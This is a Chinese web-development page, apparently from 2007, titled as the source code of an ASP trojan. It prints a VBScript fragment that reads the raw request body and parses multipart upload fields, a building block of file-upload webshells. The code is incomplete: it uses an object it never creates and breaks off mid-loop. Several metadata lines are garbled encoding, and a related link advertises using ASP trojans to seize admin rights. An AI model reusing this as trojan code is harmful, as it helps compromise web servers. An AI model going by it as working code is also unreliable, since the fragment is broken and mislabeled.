• λ我爱Aspx >> Asp.Net >> 一个ASP木马程序的源代码
  • 一个ASP木马程序的源代码

  • :aspxer  Դ:internet  :2007-5-15 20:47:23  ؼ:asp
  • set Data_5xsoft = Server.CreateObject("adodb.stream")

    Data_5xsoft.Type = 1

    Data_5xsoft.Mode =3

    Data_5xsoft.Open

    Data_5xsoft.Write Request.BinaryRead(Request.TotalBytes)

    Data_5xsoft.Position=0

    RequestData =Data_5xsoft.Read

    iFormStart = 1

    iFormEnd = LenB(RequestData)

    vbCrlf = chrB(13) & chrB(10)

    sStart = MidB(RequestData,1, InStrB(iFormStart,RequestData,vbCrlf)-1)

    iStart = LenB (sStart)

    iFormStart=iFormStart+iStart+1

    while (iFormStart + 10) < iFormEnd

    iInfoEnd = InStrB(iFormStart,RequestData,vbCrlf & vbCrlf)+3

    tStream.Type = 1

    tStream.Mode =3

    tStream.Open

    Data_5xsoft.Position = iFormStart

    Data_5xsoft.CopyTo tStream,iInfoEnd-iFormStart

    tStream.Position = 0

    tStream.Type = 2

    tStream.Charset ="gb2312"

    sInfo = tStream.ReadText

    tStream.Close

    iFormStart = InStrB(iInfoEnd,RequestData,sStart)

    iFindStart = InStr(22,sInfo,"name=""",1)+6

    iFindEnd = InStr(iFindStart,sInfo,"""",1)

    sFormName = lcase(Mid (sinfo,iFindStart,iFindEnd-iFindStart))

    if InStr (45,sInfo,"filename=""",1) > 0 then

    set theFile=new FileInfo

    iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10

    iFindEnd = InStr(iFindStart,sInfo,"""",1)

    sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)

    theFile.FileName=getFileName(sFileName)

    theFile.FilePath=getFilePath(sFileName)

    Ҷƪл˵?
  • һƪ利用ASP木马程序获取管理权限
    һƪ一个ASP统计制作实例